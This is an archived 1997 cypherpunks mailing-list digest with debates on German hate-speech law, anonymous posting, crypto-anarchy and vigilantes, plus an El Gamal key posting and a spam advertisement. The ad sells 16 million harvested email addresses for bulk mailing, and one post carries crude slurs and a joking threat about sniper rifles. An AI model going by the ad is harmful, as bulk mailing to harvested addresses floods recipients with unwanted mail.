Another good point.  Many in the U.S. have become so accustomed to
these speech restrictions that it seems normal.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: Hate speech in Germany...
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
90BC91101F85741DD34904CB85F53587E2F60552
-957 957
1E2E934E6521F0AF31CED38EB60FCF9AD2E9997879F053F097F49EE39B97FA22D66D438A9409D20F479DB6DCCCCFBAA6AE95FACA8B67B91F03CE50DBB5F9AC0862C2DC9E39B2020FD099DD52E2C68D92E524037DBAB7CFE1783329BE5E0CA468674B5916EBE0F3F2C1DAB6A0CB8D48AE7586C741FE3117577A540EB663816E70C6D554AA2FBA42F85B7A486B96AFA3975FD9EC4F51344EC22B215A0284C7C9397066B71AA506A7824A233A349564FE0DCB358CF5001D2A13EAF9603C65AE4620450DD4CDB7141D7B63422714441AA67B9F871701D8F19082DE73D3B0F1B2973B4A306106FCBE72BBB2CE47D9CACCA721562FB6CEC08F5FC95DB2559E658CC2F9
4FDDF6A60F4EE3F960B4FF277E000C85196D9776BD39C87EE2A606527FE6FD16CFBE9787DB5392D2938D035CF4DB14EF86B6E7499298F37AC0C31832CDD411376B18EBA2FBA072E2983FCA5A617F5B5F209B76B2615B6942AE99CCF257D19F1EDF8FBEB52A735E2A1BD184A2F18B9EBD8054F14472FF39C65D569F9564FD0CC41F656D3D6B9BC60A65DDECD57CACD83322E56FF8EF2742647785CB6054B75215BE0C0DAE6459322C3B431CCCB39151C7FB65B9D88FC5050FD4CC455404C7586275E3057EF0C4E0D6603383E4276EE4B34F68D062CE7CCE5DCE3600F19AFC8CA9CBF233A6C02D735CD20D207DF789BAA8E3DC389FE1BDEBF2A57215BE49286945






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 7 Dec 1997 03:38:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: words have value, for good or ill
Message-ID: <199712061933.UAA24057@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



A ghost speaking through the medium of replay.com communicated:
>Consider: anyone might legitimately say they could understand why the
>government opposes access to cryptography.  It represents a threat to
>their monopoly power.  But if someone said they were becoming
>convinced that restrictions on access to crypto were a good thing,
>we'd be attacking them in an instant.  These are two completely
>different issues.  One is a matter of understanding evil motivations,
>which we can all benefit by.  The other is a matter of advocacy of
>evil.  That must be opposed, and in fact this list has been a strong
>force for such opposition.

I see the list as a place to discuss ideas rather than as a propaganda
vehicle or a political party.

>The problem this raises is that it is difficult to know where May
>stands on any issue.  He makes contradictory statements, refuses to
>reconcile them, even refuses to admit that they are contradictory.
>Which is his true view?  No doubt, whichever one turns out to be most
>convenient in the end.

Next you'll be telling us we should not obediently follow his every
command!  Whose side are you on?

>What a weak and childish individual this is, this man who is said to
>be the most respected of the cypherpunks.

You might be happier if you did not associate with a group of weak and
childish individuals.

I have no doubt that Tim May contradicts himself from time to time.
And, when he changes his mind he does not announce it to the list and
carefully credit each person who influenced his views.  Sometimes he
is insensitive or even rude ("chop chop").  I've never seen him
apologize, either.  Probably he doesn't have the circuits to do it.

But, so what?  He's still the most interesting contributor to the
list.  I can well understand why you don't put him in your killfile.

Perhaps instead of name calling, you should actually address a point
or two and discuss it.  If you think McVeigh did the wrong thing, it
would be interesting to hear why.  And it would interesting to hear
why you believe that a McVeigh killing innocents is wrong, but a
U.S. Air Force doing the same thing is right.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: words have value, for good or ill
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
E357DEA252BDBA2A18C7F1F54A5DE88ED8E69AE2
-937 937
A49A93E49F670414920B105C609CAD2D1479771114A15CD2C19E265BBD32FA1C467B83E7D7538511A5C1C2B013779BB67AF5AAB78A0D7447FFECD7B93890341E25BB4D240977D6E43A80262160134AE8ADC768FD4F40E83AFBDABD09C957F9E9C1DCB5296F94F28F948DBD55DDDE10BA580F7F38D1ED1C46D70A459B32EFFB1C1FC4454E55EB885694B5E2087360BECB675885078ECA2D4E2342E095AD38B50A315FA028573B08086913AFFD0DC39FB5EA2C1417A2A7B7BB4A1B41A49169049A4B048D22138168B3C08A22420D1985C6AAAA1B39A9FFD08CA10D0E742542CC753947A924C8B1B79EF3630060017D9B648F07A8D99F58A2E91F1E09C70AC55BDD
282608319DF35965F05D616BCC383D089D071A9EC044B131E23E7262DCF9E3A5CDAFFE1622A075189FDAB9FC2F81F29A08999F5B8440BE211906BD1DAD99B9BB2D09441049A83EC3286BAF054387832383E3F5BBC2EC67C06695F7662CCDB9BD211640A2E7FA7561D237D4FD7C94D8513C3F17B657646E9FFE2F756DBB6AA70D0F817C8277CC427964910A951E37FA86B488F79E1188F21892604A94B9E8F7EE8B70DD372D1726074EE95B05014A98E0A450A9E44C407BA24470F026C04392531391CE92C14AC48674F49B4500F5423F8D7180BADCCBA83BC05937228E250642B22BEB508A98E6BAA05F95AEBA5EA1D4BF40A5997E32FEAB4F53EFACB0300D9






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 7 Dec 1997 13:00:08 +0800
To: cypherpunks@cyberpass.net
Subject: One for the Good Guys
Message-ID: <199712070455.XAA29871@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Well McAffe has reluctantly pulled out of KRAP.

http://www.pgp.com/newsroom/na-kra.cgi

- From the wording of the press release they still are unwilling to admit
the error of their ways but at least they have realized the fallout from
being associated with such an orginization.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNIor7o9Co1n+aLhhAQL5lAP+KcogSdFYFLqczIOAiAIaXM0xhPz488VP
9/M2i3JrYq4kxg2gl4TKCIineHewGzKuEutA4xhiP5ITIlRIQ3HWPldURpi1j8RR
Qil7AczrynhAvR3SY4/kyWxkLtczLlD+DedXciamAxmvD0jp0QSkez5RqzuEVCMg
nJgWK1RzXmY=
=MjpK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rapnet@ix.netcom.com
Date: Sun, 7 Dec 1997 14:51:23 +0800
To: <cypherpunks@toad.com>
Subject: 16 Million! Just Released!
Message-ID: <3316270_67131480>
MIME-Version: 1.0
Content-Type: text/plain




IT WAS JUST RELEASED!!
 
INTRODUCING...MILLIONS VOL. 1

We took a total of over 92 million email addresses from many of the
touted CD's that are out there (bought them all - some were $300+)!
We added the millions we had in storage to those.   When we
combined them all, we had in  excess of 100+ million addresses
in one huge file.

We then ran a super "sort/de-dupe" program against this huge list.
It cut the file down to less than 25 million!!! Can you believe that? It
seems that most people that are selling CD's are duping the public
by putting numerous files of addresses in the CD over and over. This
created many duplicate addresses. They also had many program
 "generated" email addresses like Compuserve, MCI, ANON's, etc.
This causes a tremendous amount of undeliverables, and for  those
that use Stealth programs, clogs up servers quickly with trash, etc.

We then ran a program that contained 150+ keywords to remove
addresses with vulgarity,  profanity, sex-related names, postmaster,
 webmaster, flamer, abuse, spam, etc., etc.   Also eliminated all .edu,
.mil, .org, .gov, etc.   After that list was run against the remaining list,
it  reduced it down to near 16 million addresses!

So, you see, our list will save people hundreds of dollars buying all
others that are out there on  CD and otherwise. Using ours will be like
 using the 100+ million that we started with, but a lot  less money and
alot less time!!

We also purchased Cyber-Promos ($995.00) CD.   We received it just
prior to finishing production work on the new CD.   We had our people
take a random sample of 300,000 addresses  from the touted 2.9 that
they advertised.   We used a program that allows us to take a random
sample of addresses from any list.   We were able to have the program
take every 9th address, thus giving us a 300,000 list of Cyber's email
addresses from top to bottom.  We did not clean  these, but we did create
3 seperate files named cyber1.txt, cyber2.txt, & cyber3.txt of 100,000
addresses each. This will give all people that use the list a opportunity to
send mail to the list before deciding if their CD is all it's hyped to be.

We also included a 2+ million "Remove/Flamer" file broke into seperate
files for ease of  extracting and adding to your own database of removes.

 "You can buy from the REST or you can buy from the BEST.   Your choice.
_____________________________

What others are saying:
 
"I received the CD on Friday evening.   Like a kid with a new toy, I
immediately started bulking out using the new email addresses.  Over
the course of the weekend, I emailed out over 500,000 emails and I
received less than TWENTY undeliverables!!  I am totally satisfied
with my purchase!!  Thanks Premier!!"

Dave Buckley
Houston,  TX

"This list is worth it's weight in gold!!  I sent out 100,000 emails for my
product and received over 55 orders!

Ann Colby
New Orleans, LA

****************************************
 
                  HERE'S THE BOTTOM LINE

Here is what you get when you order today!

>> 16 Million Email Addresses... 1 per line in simple text format on a CD.
Files are in lots of 100,000 (no codes needed to open files).
All files are separated by domain name for your convenience.
 
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AND
 
the a sampling of CyberPromo's HOT list.

>>> NOW ONLY $149.00!

This price is effective for the next seven days, thereafter the price will be
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The result is the Cleanest Email Addresses Available Anywhere
to use over and over again, for a FRACTION of the cost that other
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phone, please do not hesitate to call us at:

                              908-245-1143

To order our email package, simply print out the EZ ORDER FORM
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 _________________
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 _____Yes! I would like to order MILLIONS Vol. 1 email addresses
for only $149.00.
 
 
*Please select one of the following for shipping..
 
____I would like to receive my package OVERNIGHT. I'm including
$15 for shipping. (outside US add an additional $25 for shipping)
 
____I would like to receive my package 2 DAY delivery. I'm including
$10 for shipping.  (outside US add an additional $25 for shipping)
 
DATE_____________________________________________________
 
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CITY, STATE, ZIP___________________________________________
 
PHONE NUMBERS__________________________________________
 
FAX NUMBERS_____________________________________________
 
EMAIL ADDRESS___________________________________________
 
TYPE OF CREDIT CARD:
 
______VISA _____MASTERCARD
 
CREDIT CARD# __________________________________________
 
EXPIRATION DATE________________________________________
 
NAME ON CARD___________________________________________
 
AMOUNT $____________________
 
 
(Required) SIGNATURE:x________________________
 
DATE:x__________________
 
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CHECK BY FAX SERVICES!
 
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If you feel more comfortable sending payment through the mail,
please send all forms and Check or Money Order to:
 
Rapture Narketing Inc.
P.O. Box 616
Kenilworth, NJ 07033






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 7 Dec 1997 10:22:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Anonymous Thread
Message-ID: <199712070219.DAA28316@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Charlie Comsec wrote:
>Monty Cantsin wrote:
>> Something that I have found irritating about the posts by
>> non-persistent identities is that it isn't possible to support a
>> meaningful discussion as previous statements can always be
>> repudiated, or maybe even weren't made by the particular poster.  I
>> compared this to sound bites.
>
>How is that fundamentally different from non-anonymous posts, though?
>You can always disavow (or attempt to) a previous post by claiming it
>was forged, that someone stole your password, hacked your account, or
>posted it when you accidentally left your terminal logged on while
>you were at lunch.

All true.  But, in the case of the anonymous post there has usually
been no indication other than writing style and topic that suggests
the poster is using the context of previous anonymous posts.  There's
no particular reason to think the second post has anything to do with
the first.

This means that the ideas cannot be developed to any great depth or
detail.  I would prefer to see anonymous posters include the messages
which supply context or just give the message IDs.

>In addition, there's nothing to stop someone from obtaining multiple e-mail
>accounts.  So why should ten anonymous posts be an more irritating than
>ten posts from hotmail.com, juno.com, etc. accounts?  They could be from ten
>different people, just one, or any number in between.

Actually, it's the context and the complexity of the text that
interests me.  If ten different people play the role of anonymous in
one thread, each accepting the context of the previous posters, there
is no reason why that isn't just as interesting as if it were one
poster.

>> On second thought, however, there is an easy way to solve this.  If
>> the anonymous poster accepts the context of previous messages, the
>> discussion can continue.  There's no reason why the person behind the
>> virtual thread has to be the same, but the context itself is important
>> if we want to have interesting discussions.
>
>Agreed.  It's the ideas that are important, not the identity of the person[a]
>expressing them.  The only exception I can think of is if the person
>expressing the ideas is asking that they be accepted because of some unique
>qualification or expertise he claims to possess.

And even then it never hurts to think carefully about why they should
be trusted, how it is that they know what they claim to know, and if
there are any ways to verify their claims.

>> So, if you don't want to sign your messages, just acknowledge the
>> message ID of the relevant previous messages whose context you wish to
>> use.
>
>Unless that's coupled with a PGP signature, there's nothing to keep one
>anonymous person from impersonating another and agreeing to something.
>For example, if "A" is debating "B", there's nothing to stop "B" from
>posting as "C", claiming to be an anonymous KKK, NAMBLA, etc. member, 
>then posting again, impersonating "A", and pretending to agree with "C"
>(by, as you say, "acknowledging C's message id").

That's okay, though, because you deal with each post on its own merits
one at a time.  If person "C" says "This posts uses the remarks by the
anonymous poster in posts 1, 2, 3,.. as context" then you can say,
"You now say X, but before you said Y, and that's a contradiction."

That person (or even another person) can come back and say something
genuinely interesting like "It seems like a contradiction, but in fact
it isn't for such-and-such a reason."

In practice the way people have been doing this is just by signing
their posts "TruthMonger" or something.  But, message IDs give you
more control over the accepted context.

>Nor is it much better if "A", "B", and "C" are non-anonymous.  "B" can open
>a throwaway account as "C", and then forge a follow-up from "A".  Unless
>it's done among a group of people skilled at interpreting headers, it may
>well succeed, or at least arouse a lot of F.U.D. about "A".

Sabotaging a non-persistent identity through a remailer is effortless.
Forging takes a little more effort.

But, yes, I would like to see more people signing their messages.  It
would reduce some problems.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: Anonymous Thread
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
2A27EB225593A316A1F4F5CAAA3CC76E2353E437
-1110 1110
BB5375A4CA7D251B9068B8F60CB312B70F33F2CE5497056B84E8B24E2FC582025C34BE2A28AEFC23F45D6CBBD346CDD713CAD28E0172DD633E89B6839674A10DF0280D62558B15C26CB9531BEB35DCB27444AACFFE1F316F120DFF71DCA79F8A5925D47C0D9EBF6446CD448DEF453745F8003C05C7A3FAEC1B12BECA91948B438908EC8C721519782AB43E2A5E11F914B749FE65AEE8C36F09AD0600DE86C047E4E440E7D8A58FC85CC742CB1B46B9029CE57ED11420780E5D0127AC81677676AF26F95014BDB833A98944CED405B77275AB02C43FF4148479ECCA0ABD2A43DB57F6E5DC2F20F21A6023F18D2D33BA52A01C72BA824E1A0EAD7EAE1579FEA3E3
82F4B568F5258FEEDA63934377806CB54C0FE5ABCE628919D6D23D018779939ECD1364E4010854FD6A034855597CB551D17CCFBE4EA84EB21FB3E1C9EED6746B623A3E2903EEBDB1CE8AA9ECD3CC739B9A3F5481E4A27A5CCCACDA83C768D2448E5CFC0C4BD60E2EF9FCB177DC44CBB2A5052F799B9E20966B398DC36B1569F0A931E16A3A2EA224254163E656C62D2959D503409984608A9E0AB890DBF9EC08E8481BB04FD1D3875654F2778F270619C1637E41CA6C271C0189612430777E004F22005FCBAD0EA29D34A0B9FD4C07C947B433F9AB5874D8E901DC226786037312D5ED8BB7B11B83711D5001BC484AD842E1798382F17BD34707E0BB3337BA12







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 7 Dec 1997 16:59:26 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <f0ba21230548a4e5084674c87e10fd8d@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



> Since crypto-anarchy & free-market economic anarchy both do away with
> centralized authorities isn't this sort of behaviour what is *expected* of
> members of the community under these systems? Doesn't the fact that there is
> a clear and present danger to both person and community justify these sorts
> of actions?
> 

The concept of "Free-Market-Crypto-Anarchy" doesn't jibe with the
"Lynch-Mob Democracy" mentality exhibited by Gates.  One of the
fundamental principles of anarchy is a willingness to let others hash
out their own problems, i.e. I will ignore him unless his actions
impact or affect me personally/financially.

It is not as if the Gates were going to be affected by the
"suspects"...they had to go out of their way to interfere with someone
else's pursuit of happiness.  That is clearly unacceptable.  The last
thing we need is a deputized citizenry...talk about a police state.
(I guess that would be the ultimate form of the "Policeman Inside")





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 7 Dec 1997 22:52:09 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Problems with PGP Finland site?
In-Reply-To: <v03102805b0af48dc0e16@[207.167.93.63]>
Message-ID: <19971207063900.25926@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Dec 06, 1997 at 11:26:17AM -0700, Tim May wrote:
> Never mind. Sorry.
> 
> It looks like http://www.pgpi.com/ is still open for business, so paranoia
                                                                 ^^^^^^^^^^^
> is unwarranted.
  ^^^^^^^^^^^^^^

> Though I wonder for how long Network Associates will continue to publish
> source code books and encourage their wide distribution around the world?
> 
> Or how long source code will be available at all.
> 
> Or how long the freeware version will be available.
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

The underlined parts are a contradiction, amusingly enough.

A freeware version will always be available.  It just might not come 
from NA.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sun, 7 Dec 1997 15:14:00 +0800
To: cypherpunks@Algebra.COM
Subject: New key
Message-ID: <199712070655.HAA02800@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Some readers have suggested that my El Gamal key values were not chosen
correctly.  My previous key used a random large prime, but Schneier suggests
choosing one with a guaranteed large prime factor ("Applied Cryptography",
section 11.6).

To correct that I offer a new El Gamal key which I will use for signing:

p: F64257B7087F081772A2BAD6A942F305E8F95311394FB6F16EB94B3820DA01A756A314E98F4055F3D007C6CB43A994ADF74C648649F80C83BD65E917D4A1D350F8F5595FDC76524F3D3D8DDBCE99E1579259CDFDB8AE744FC5FC76BC83C5473061CE7CC966FF15F9BBFD915EC701AAD35B9E8DA0A5723AD41AF0BF4600582BE5F488FD584E49DBCD20B49DE49107366B336C380D451D0F7C88B31C7C5B2D8EF6F3C923C043F0A55B188D8EBB558CB85D38D334FD7C175743A31D186CDE33212CB52AFF3CE1B1294018118D7C84A70A72D686C40319C807297ACA950CD9969FABD00A509B0246D3083D66A45D419F9C7CBD894B221926BAABA25EC355E9320B3B
g: E2CFFC96515A65D45B61F3E98DBD19859C7DEFAD7C43D8365363275A2C35BC09F20F68918C806AE67CBB04215E6B077EB1AF86ED71C62587C1631D1623744CFFAFDBB89F0FE95C907036F2FCB5EA3DA00E42BA8D703F75EEA69399E5541E86A89759CE55EFE2ECCD0AB73997CF9A060BD163590A4477F03E728CD0015223DFCA5533D8A7BE7E9B270827AE32EE2AB63BD8062DB91FBDB079AF416528C0AAD554835BA35B55B18EFDF76251ED00824CAD980A06E68B2D01C60FC58AC3C6C8341ADAB1490EE00F358C8BDFA3C305A4155A8DCB7B9E6A09F9102EEB407759E6DD4D10057D9C028FDCD47F269ABFC583B76A0AE7738950CABB5AD63FBC1B52958401
y: 864E4504E5DDFE2E9E96997526D020897FC24316FF9345AEF8F18AC9132DE0CED2D60D6A262BA143F68FABABBE3770CBC095D04DFDB56C93CE90F6D603D3E6B485FFE7654F600E55709352E691643D9C70AC1FFCDD8A8F6CDD0699563A260B0846C9ED756D6FFD81AB6CA4CEADA966CE19AF128D2B99771C3F1D48A72D69622A119081FD9E970CE1AF12CBAA27C565F7C2E3477EFC477CF884DC56A0753643C34DEA4A77ECC3B576DB2B167691D698422DF633D6F148E73E4AA0A573B2D61304E749157EAA563E3839E14459CE6E2BA1C193FD9B02010E91449C84EA47C842F6EE9B1040B713967267A789CC4945074332A4894C99DD910AB6D59701B256FBB6

This prime value has been chosen so that (p-1)/2 will also be prime.

I will continue to use Cantsin Protocol No. 2 as before.  It's good to
see that others are beginning to develop tools to use this protocol.
Suggestions for improvements continue to be welcomed.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: New key
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
092AA1EC9926D468F8964B8EF537DDC1782A1281
8AB1C2AA1D6FC353C642984072C97D7DF6061C96
-907 907
CA9BF59CF4C8EDAA447F88F320443E47170C45F5972EC6118BA55904D71B6738E941A1F02AFD1142D29B08E9E6B7B52CE911C7E7873AB1B2429279F696DA273AD08CA934F035952346CAFC2087C581DD9075EF80F62A5F477CDE8083719057BDC0CEAAD8E76189CAB5B9E5CEA5F7FA7923EF4F8DAAA8A6A6EF13B26F56C0A64D4A894A0C4BCBD2F2C93C4C8626C2D74A2832271689EC60E4024FC1547D3CFAF78D4651DA1A203DB5F1E99E83DC381430FA6A55433EAF1031E512842FC98030D2902326C4ABD63FC598FA7E62D34C6F0D7FAD946C26E420049567147C262CD28C97AACF939588473F6CB88EEA5518EA663DD2CDEC83C869674CBF2B0078E89414
AEA9FE2E3EAD44D84F927B5A423AB9620FB76FA4390D92A1CF371D42200E45BCC629941485C5499CDE309C80E0F95EC54054963E90F605AE67CCDA415244E61A654DC319ACFB734A895E3C2B7BC30D6321FA8274E41B2B0E5B7D5CD3DD9F5C09256F8E2E2AD7698EC824F6512D6DD7E9176DDA06FE9158D8499F637D8FA61FE32E842305C5BD6043E5FCFA6FE642343B49A97568221B5EB8E51A3929D5AB95B3C270A1977A5290CD458716C56C356395267D6293E9256678216F65F7DDBA75CE01CEA1C7FE7AC58AAF6D392B68C06407EA989948D64391EF25D28F27BFB345406501F2A69EE007D13DD541145ED03542DAB58954ACE1AD2C3DF7E1FD00B9CD10





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 7 Dec 1997 21:56:59 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Red-necks w/ a purpose...
Message-ID: <199712071403.IAA30226@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 7 Dec 1997 03:54:05 -0500
> From: Anonymous <anon@anon.efga.org>

Why does your remailer strip the subject header?

> > Since crypto-anarchy & free-market economic anarchy both do away with
> > centralized authorities isn't this sort of behaviour what is *expected* of
> > members of the community under these systems? Doesn't the fact that there is
> > a clear and present danger to both person and community justify these sorts
> > of actions?
> > 
> 
> The concept of "Free-Market-Crypto-Anarchy" doesn't jibe with the
> "Lynch-Mob Democracy" mentality exhibited by Gates.

What has this to do with a couple of rednecks stopping an alleged criminal
out of the goodness of their hearts? Further, what exactly are you talking
about in reference to Gates? Yes, he is rich but what specificaly are you
referning to in regards to his mentality and lynch-mob democracies?

All government or social systems resort to lynch-mod mentatility without
some sort of bill of rights or other explicit restrainer on the system. Even
free-market-crypto-anarchy will devolve to this. Why do supports of
free-market-crypto-anarchy ignore issues regarding excesses of their beloved
systems and what kinds of checks-and-balances need to be implimented to
resolve those issues? Are you really going to claim that under
free-market-crypto-anarchy we have finaly found angels in the forms of men?
Is your claim that had there been a free-market-cryto-anarchy these people
would not have committed the crime in the first place and hence the police
and the rednecks could have stayed home? Is free-market-crypto-anarchy the
final solution in human conflict resolution?

>  One of the
> fundamental principles of anarchy is a willingness to let others hash
> out their own problems, i.e. I will ignore him unless his actions
> impact or affect me personally/financially.

This is a tenet of democracy as well. However, am I to interpret your
statement to mean that no, these rednecks were out of line? If so, my
question still stands. With no centralized authority of any sort and by
extension no centralized police force whose job is it to stop criminals?
Under a free-market-crypto-anarchy exactly how does the peace-keeping
process work?

> It is not as if the Gates were going to be affected by the
> "suspects"...they had to go out of their way to interfere with someone
> else's pursuit of happiness.  That is clearly unacceptable.  The last
> thing we need is a deputized citizenry...talk about a police state.
> (I guess that would be the ultimate form of the "Policeman Inside")

If there were no police force I am sure Gates with all his money would be
on the top of a lot of hit lists - just too juicy a target to pass up. The
police we have now are deputized citizens. *That* happens to be one of the
safety checks.

What is your point?


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 8 Dec 1997 00:20:54 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de>
Subject: It's Sunday...
In-Reply-To: <8cffbee92e0dc04390f8a269534a5dd2@squirrel>
Message-ID: <348AC2BC.56B5@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[It's early Sunday morning I'm having my first beer of the day 
 I've got a couple of hours to kill before the ball games begin
 Chances of this email being at all meaningful are mighty slim
 I'm sending it to everyone in my address book, nonetheless
 I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed And all without saying "Fuck Christmas" 
 Damn! I just said it...]
 

Secret Squirrel cracked open his left nut, and out came
the following Colonel of wisdom:

> >Mr. Frissell asserts that Germany lacks rights such as freedom 
> >of speech and association.
> >This is not true.
> >The German Basic Law provides for everyone the right to freedom of speech,
> >religion and association.
> >However, Germany prohibits hate speech i.e. National Socialism and
> >incitement to racial, religious and national hatred.
> >The reason for this exception is the German history.
 
> And thus there is no true freedom of speech and such in Germany. I can
> either say "Fuck the Jews" or I can't. I can either say "Bill Gates can blow
> me" or I can't. I can either post naked pictures of myself or I can't. (And
> yes, this means that there is no true freedom of speech and such in the
> United States either.)
> 
> Nice try.

  After spending what might be considered an inordinate amount of
time seeking an ISP which will allow me to put a picture on my web 
site of Bill Gates blowing me and fucking a Jew while I am naked,
I consider myself somewhat of an unofficial expert on freedom of
speech.
  To badly paraphrase Harry Browne, "You have a right to say 
whatever your mom and dad don't slap you silly (and send you to
bed without your supper) for saying."

INFANTILE JOKE ALERT!!!
  Little Johnny and little Billy come to the breakfast table.
  Mom says, "Little Johnny, what do you want for breakfast?"
  Little Johnny says, "I want a fucking bowl of cornflakes!"
  Mom slaps little Johnny silly and sends him to his room 
without breakfast. She then asks, "Little Billy, what do
_you_ want for breakfast?", giving him a stern warning look.
  Little Billy thinks for a second, and says, "Well, mom. You
can bet your sweet, fucking ass that I don't want a bowl of
cornflakes!"

  Hesse says, "We make our gods and do battle with them, and they
bless us." I say that the same applies to our devils and their
curses. 
  There is a reason why bartenders say, "Name your poison."

  Some of us want to live in a "free" country where 'evil' things
like pornography and hate speech are outlawed. (Overlooking the
fact that we are guilty of disguised nakedness and also guilty
of hating hate speech.)
  Some of us want to live in a "free" country where we are allowed
to carry guns to defend ourselves against those who would oppress
us. (Overlooking the fact that CypherPunks are living proof that
this invariably results in one shooting oneself in the foot, since
"We have met the enemy, and he is us!")
  Some of us want to live in a "free" country where pornography is
outlawed, but freely available (so we can still get a vicarious 
thrill from it); where hate speech is prohibited, but Micro$haft
jokes are required (by law); where guns are freely available, but
they all shoot 'both' ways (meaning you have to really, really
want someone dead before you shoot them).

MYTH EXPOSURE WARNING!!!
  "Recidivism" is the natural impulse of us all, not just the
officially recognized criminals amoung us.
  I broke out of prison, once. In order to assure that 'they' could
not recapture me, I built a concrete fortress with high walls, and
I put armed guards in towers at the corners. I put locked, barred
doors on all the rooms, so that myself and my guests are safe. I
hired armed guards to patrol my fortress in order to maintain the
order and discipline needed to ensure eveyone's safety. I never
leave the comfort and safety of my fortress.
  Hence I am now assured that they will never take me back to prison.
Never...

  Well, it looks like I was right about this being a pretty lame,
meaningless missive.
  I think I'll spend the rest of the day putting up "God's Canadian
Hate Speech Page" at: 
http://www3.sk.sympatico.ca/carljohn/godhate/godhate.htm
  After all, it's Sunday.

Toto/TruthMonger/C.J.Parker/sog/sonofgomez/Anonymous
"And A Multiple Schizoid Personality Fracture To Be Named Later"

p.s. -
CORRECTION: 
The following should be followed by the following: "or vice-versa"
[I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed]

p.p.s. - Since I can only Blind CC: so many people at a time, and I
  am too fucking lazy to edit out the original Reply To: recipients,
  this will result in a number of duplicate spams going to those
  addresses.
  At the risk of sounding like a hypocrite who will use things she
  does not believe in to serve his own self-interest, I would like
  to remind the whiners out there that it would be a bad idea to
  complain to or seek retribution on me this close to the yearly
  visit of a certain Jolly Old Bearded Fat Man. (hint: not me--the
  old fart who prefers 'nice' girls, not 'naughty' ones)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 8 Dec 1997 03:06:59 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de>
Subject: It's Sunday...
